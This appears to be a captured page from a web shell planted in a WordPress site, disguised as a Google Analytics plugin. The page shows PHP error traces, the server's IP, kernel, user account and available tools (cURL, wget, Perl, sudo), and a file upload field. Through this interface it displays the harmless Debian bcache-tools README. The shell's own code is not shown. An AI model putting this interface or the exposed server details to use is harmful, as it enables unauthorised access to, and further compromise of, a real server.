Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/doc/bcache-tools/ |
Upload File : |
bcache-tools for Debian ======================= Notes: * Always back important data up first! * Don't put /boot onto a bcache device (grub doesn't understand the disk format), but it does work fine for the root device if you use a separate (uncached) /boot partition. * A separate /boot may not be necessary on UEFI systems (untested) * You can use lvm for the backing and the caching devices, but currently the initrd will not automatically activate the vg. This is an issue if you plan on caching your root device. A basic setup guide: -------------------- Create a backing device: This formats the partition HDD1 and creates /dev/bcache0. $ make-bcache -B /dev/HDD1 Create a caching device, copy the `Set UUID' for later. $ make-bcache -C /dev/SSD1 Connect the two; this only needs to be done once: $ echo "Set UUID" > /sys/block/bcache0/bcache/attach You probably want write-back caching, otherwise only reads will be sped up. Note that this means a dead SSD could result in data loss. $ echo writeback > /sys/block/bcache0/bcache/cache_mode Find the UUID of the device: $ ls /dev/disk/by-uuid -l | grep bcache0 Use this UUID in /etc/fstab since the /dev/bcacheX number may change when a second bcache device is created. -- David Mohr <david@mcbf.net> Wed, 26 Mar 2014 00:09:49 -0600